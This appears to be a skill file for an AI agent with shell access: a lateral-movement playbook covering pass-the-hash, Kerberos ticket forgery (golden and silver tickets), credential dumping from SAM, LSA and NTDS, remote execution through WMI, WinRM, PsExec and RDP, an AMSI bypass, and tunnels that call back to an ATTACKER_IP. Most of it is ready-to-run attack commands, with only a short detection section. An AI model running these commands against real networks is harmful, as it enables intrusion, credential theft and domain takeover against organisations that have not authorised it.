| name | lateral-movement |
| description | Network lateral movement — Pass-the-Hash, Pass-the-Ticket, WMI/WinRM/PsExec/RDP execution, SMB operations, network tunneling with Ligolo-ng and Chisel. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"lateral-movement","when_to_use":"lateral movement, pass the hash, pass the ticket, WMI exec, evil-winrm, psexec, pivot, tunnel, Ligolo, Chisel, smbexec","tags":"lateral, pth, ptt, wmi, winrm, psexec, rdp, smb, pivot, tunnel, ligolo, chisel","mitre_attack":"T1021.002, T1021.006, T1021.001, T1550.002, T1550.003, T1572"} |
Lateral Movement Knowledge Base
Lateral movement uses captured credentials and network access to move between hosts in a compromised environment. Each technique has a different noise profile, artifact footprint, and prerequisite. Choose based on available credentials, target services, and OPSEC requirements.
Quick Reference
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>'
smbclient.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
./proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect <ATTACKER_IP>:11601 -ignore-cert
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|
| T1550.002 | Pass the Hash | CrackMapExec/NetExec, Impacket, Mimikatz |
| T1550.003 | Pass the Ticket | Rubeus, Mimikatz |
| T1021.002 | SMB/Windows Admin Shares | psexec.py, smbexec.py, smbclient.py |
| T1021.006 | Windows Remote Management | Evil-WinRM |
| T1021.001 | Remote Desktop Protocol | SharpRDP, xfreerdp |
| T1572 | Protocol Tunneling | Ligolo-ng, Chisel |
1. Pass-the-Hash (PtH)
CrackMapExec / NetExec
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -X 'Get-Process'
nxc smb <SUBNET>/24 -u '<USER>' -H '<NTLM_HASH>' | tee pth_spray_<TARGET>.log
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --sam
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --lsa
nxc smb <DC_IP> -u '<USER>' -H '<NTLM_HASH>' --ntds
Impacket PtH Suite
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
smbexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
atexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> 'whoami'
PtH Method Comparison
| Method | Shell Context | Artifacts | Binary Upload | Noise Level |
|---|
| psexec.py | SYSTEM | Service creation (7045), ADMIN$ write | Yes (.exe) | High |
| wmiexec.py | User | WMI process creation, no service | No | Low-Medium |
| smbexec.py | SYSTEM | Service creation, no binary upload | No | Medium |
| atexec.py | SYSTEM | Scheduled task creation | No | Medium |
| nxc -x | User | Depends on exec method | Varies | Medium |
2. Pass-the-Ticket (PtT)
Rubeus — Ticket Import & Use
# Import .kirbi ticket into current session
Rubeus.exe ptt /ticket:<BASE64_TICKET>
# Import from .kirbi file
Rubeus.exe ptt /ticket:C:\Windows\Temp\ticket.kirbi
# Request TGT with NTLM hash, then inject
Rubeus.exe asktgt /user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN> /ptt
# Request TGT with AES256 key (stealthier — avoids RC4 downgrade detection)
Rubeus.exe asktgt /user:<USER> /aes256:<AES_KEY> /domain:<DOMAIN> /ptt
# List cached tickets
Rubeus.exe triage
Rubeus.exe klist
# Harvest all tickets from memory
Rubeus.exe dump /nowrap
Mimikatz — Ticket Operations
# Import .kirbi ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
# List cached tickets
mimikatz.exe "kerberos::list" "exit"
# Golden Ticket (requires krbtgt hash — full domain compromise)
mimikatz.exe "kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt" "exit"
# Silver Ticket (requires service account hash — specific service access)
mimikatz.exe "kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<DOMAIN_SID> /target:<TARGET> /service:cifs /rc4:<SERVICE_HASH> /ptt" "exit"
Linux .ccache Ticket Import
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'
wmiexec.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'
secretsdump.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'
3. WMI Execution
wmiexec.py — Semi-Interactive Shell
wmiexec.py '<DOMAIN>/<USER>:<PASS>@<TARGET>'
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
export KRB5CCNAME=ticket.ccache
wmiexec.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> 'ipconfig /all'
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -share C$
Why WMI?
- No service creation: Unlike PsExec, WMI does not create a Windows service
- User context: Runs as authenticated user, not SYSTEM
- Fewer artifacts: No binary uploaded, no service event (7045)
- Semi-interactive: Supports interactive command execution
4. WinRM — Evil-WinRM
Evil-WinRM Sessions
evil-winrm -i <TARGET> -u '<USER>' -p '<PASS>'
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>'
evil-winrm -i <TARGET> -u '<USER>' -p '<PASS>' -S
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>' -s /opt/scripts/
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>' -e /opt/binaries/
Evil-WinRM In-Session Commands
# File transfer
upload payload.exe C:\Windows\Temp\payload.exe
download C:\Windows\Temp\results.txt results.txt
# Load and execute .NET assembly (DLL)
Dll-Loader -http http://<ATTACKER_IP>/SharpHound.exe
# Execute PowerShell script loaded via -s flag
Invoke-Bloodhound -CollectionMethod All
# Bypass AMSI
Bypass-4MSI
# Check services, processes
services
menu
WinRM Prerequisites
- Port 5985 (HTTP) or 5986 (HTTPS) must be open
- User must be in "Remote Management Users" group or local admin
- WinRM service must be running on target
- Check: nxc winrm <TARGET> -u '<USER>' -p '<PASS>'
5. PsExec — Impacket
psexec.py — Service-Based Execution
psexec.py '<DOMAIN>/<USER>:<PASS>@<TARGET>'
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> 'cmd.exe /c whoami && ipconfig'
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -path C:\Windows
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -service-name 'WinUpdSvc'
PsExec Artifacts
- Service binary uploaded to ADMIN$ share
- Service created (Event 7045: "Service was installed")
- Service started then deleted
- Named pipe communication for I/O
- SYSTEM context execution
6. RDP — Remote Desktop
SharpRDP (Programmatic RDP — No GUI)
# Execute command via RDP without GUI session
SharpRDP.exe computername=<TARGET> command="cmd.exe /c whoami > C:\Windows\Temp\rdp_test.txt" username=<DOMAIN>\<USER> password=<PASS>
# SharpRDP creates a console session and sends keystrokes programmatically
xfreerdp — CLI RDP Client
xfreerdp /v:<TARGET> /u:'<USER>' /p:'<PASS>' /d:'<DOMAIN>' /cert:ignore /dynamic-resolution
xfreerdp /v:<TARGET> /u:'<USER>' /pth:<NTLM_HASH> /d:'<DOMAIN>' /cert:ignore
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f'
xfreerdp /v:<TARGET> /u:'<USER>' /p:'<PASS>' /drive:share,. /cert:ignore
7. SMB Lateral — File Operations
smbexec.py — Command Execution via SMB
smbexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
smbclient.py — File Operations
smbclient.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
mount -t cifs //<TARGET>/<SHARE> /mnt/smb -o username='<USER>',password='<PASS>',domain='<DOMAIN>'
NetExec SMB Operations
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --shares
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -M spider_plus -o OUTPUT=spider_<TARGET>.json
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --put-file payload.exe '\\Windows\\Temp\\payload.exe'
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --get-file '\\Windows\\Temp\\results.txt' results.txt
8. Network Tunneling & Pivoting
Ligolo-ng — Modern Tunneling
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect <ATTACKER_IP>:11601 -ignore-cert
session
ifconfig
start
sudo ip route add <INTERNAL_SUBNET>/24 dev ligolo
nmap -sS -sV -p 445,3389,5985 <INTERNAL_TARGET>
nxc smb <INTERNAL_TARGET> -u '<USER>' -H '<NTLM_HASH>'
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
Chisel — HTTP Tunnel
./chisel server --reverse -p 8080
./chisel client <ATTACKER_IP>:8080 R:1080:socks
./chisel client <ATTACKER_IP>:8080 R:9999:<INTERNAL_TARGET>:445
proxychains nxc smb <INTERNAL_TARGET> -u '<USER>' -H '<NTLM_HASH>'
smbclient.py '<DOMAIN>/<USER>@127.0.0.1' -hashes :<NTLM_HASH> -port 9999
Proxychains Configuration
socks5 127.0.0.1 1080
proxychains nmap -sT -p 445,3389 <INTERNAL_TARGET>
proxychains evil-winrm -i <INTERNAL_TARGET> -u '<USER>' -H '<NTLM_HASH>'
Tunnel Method Comparison
| Method | Protocol | Speed | Stealth | Setup Complexity |
|---|
| Ligolo-ng | TLS | Fast | High | Medium (tun interface) |
| Chisel | HTTP/WS | Medium | Medium | Low (single binary) |
| SSH (-D) | SSH | Medium | Low | Low (if SSH available) |
| Meterpreter | Custom | Slow | Low | Low (but detectable) |
Tools & Resources
| Tool | Purpose | Key Flags |
|---|
| NetExec (nxc) | PtH, spray, enum, file ops | -H, -x, -X, --shares |
| psexec.py | SYSTEM shell via service | -hashes, -service-name |
| wmiexec.py | Semi-interactive user shell | -hashes, -share |
| smbexec.py | Shell via SMB service | -hashes |
| smbclient.py | SMB file operations | -hashes, shares, get, put |
| Evil-WinRM | PowerShell remoting | -H, -s, -e, upload, download |
| Rubeus | Kerberos ticket ops | ptt, asktgt, dump, triage |
| Mimikatz | Ticket import, golden/silver | kerberos::ptt, kerberos::golden |
| SharpRDP | Programmatic RDP exec | computername=, command= |
| xfreerdp | CLI RDP with PtH | /pth:, /drive: |
| Ligolo-ng | TLS tunneling agent/proxy | -selfcert, -connect |
| Chisel | HTTP/SOCKS tunnel | server --reverse, client R:socks |
Detection Signatures
| Event ID | Source | Indicator |
|---|
| 4624 (Type 3) | Security | Network logon — PtH/remote access |
| 4624 (Type 10) | Security | Remote interactive (RDP) logon |
| 7045 | System | Service installed — PsExec service creation |
| 4648 | Security | Explicit credential logon — alternate credential use |
| 5140 | Security | Network share access — ADMIN$, C$, IPC$ |
| 5145 | Security | Detailed share access — file operations auditing |
| 4688 | Security | Process creation — command execution on target |
| 4697 | Security | Service installed — persistent service-based exec |
| 1 (Sysmon) | Sysmon | Process creation with network parent (WMI, service) |
| 3 (Sysmon) | Sysmon | Network connection — tunnel/pivot traffic patterns |
Key Detection Patterns
# PtH detection: Type 3 logon with NTLM + non-standard source
- EventID: 4624
LogonType: 3
AuthenticationPackageName: NTLM (not Kerberos)
Source: Non-standard workstation
# PsExec detection: Service creation + ADMIN$ access
- EventID: 7045 (service install) + EventID: 5140 (ADMIN$ share access)
# WMI detection: WmiPrvSE.exe spawning child process
- ParentImage|endswith: '\WmiPrvSE.exe'
# Tunnel detection: Single host with sustained high-volume bidirectional traffic
# to external IP on unusual port (11601 for Ligolo, 8080 for Chisel)
Decision Gate
Lateral Movement ─┬─► Credential Access
│ (dump creds on newly accessed hosts — escalate domain access)
│
└─► Discovery
(enumerate new network segments, AD objects, shares from pivot)
Next steps after successful lateral movement:
- New host accessed → Dump credentials (SAM, LSASS, cached creds) → Credential Access skill
- Internal network reached → Enumerate AD, scan internal hosts → Discovery
- Domain Controller reached → DCSync, NTDS extraction → Credential Access skill
- Pivot established → Scan internal subnets through tunnel → Active Recon skill
- High-value target found → Check for privilege escalation paths → Privilege Escalation skill